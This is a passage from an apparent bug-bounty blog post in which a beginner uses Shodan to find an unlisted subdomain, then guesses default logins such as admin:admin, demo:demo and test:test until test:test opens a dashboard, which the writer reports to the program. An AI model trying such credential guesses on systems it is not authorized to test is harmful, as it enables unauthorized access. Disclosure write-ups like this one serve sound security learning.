src="https://cdn-images-1.medium.com/max/480/0*s6wUBsQf7fZRhM_7.gif" /></figure><p>then i proceed to <a href="https://shodan.io/">Shodan</a> and create an account</p><p>After creating an account as a beginner i dont know much about how to use this platform, so i had to just paste the my target in the search bar and press search</p><p>then i found some subdomain which i have already found during my subdomain finder using subfinder. I feel down</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QMhHvjuSV6kBCcEj" /></figure><p>then i notice a subdomain which it’s not in the subdomain which i have found before. but this comes with only ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SdT6_R87Sm7FQM3H" /></figure><p>Then i open it in another tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*a0t2ntRVQN681SlkdIMoXA.png" /></figure><p>This is just a login page. so i try many default credentials such as</p><p>admin:admin</p><p>admin:password</p><p>user:password</p><p>demo:demo</p><p>After many try nothing works</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*82Zxe-oZfj9xbIOy.gif" /></figure><p>Then something came to my mind how about if this page is just a demo account, then i try</p><p>demo:password</p><p>admin:demo</p><p>then</p><p>test:test</p><p>and boom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I8CSIcE1R3ftVLK0" /></figure><p>BOoooooom</p><p>i got login into the dashbaord</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHIedhkWSXABTZ_bRVoC8g.jpeg" /></figure><p>Even though there is nothing much special about the page.</p><p>i had to quickly report to the team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*-OR36_Y2Z0AQlBidjFBBWw.png" /></figure><p>So after few days i got this mail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*o6nWDR00vFcYgR3VEYx8qw.png" /></figure><p>I hope you enjoyed reading and learnt something today.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0dd1059d093" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>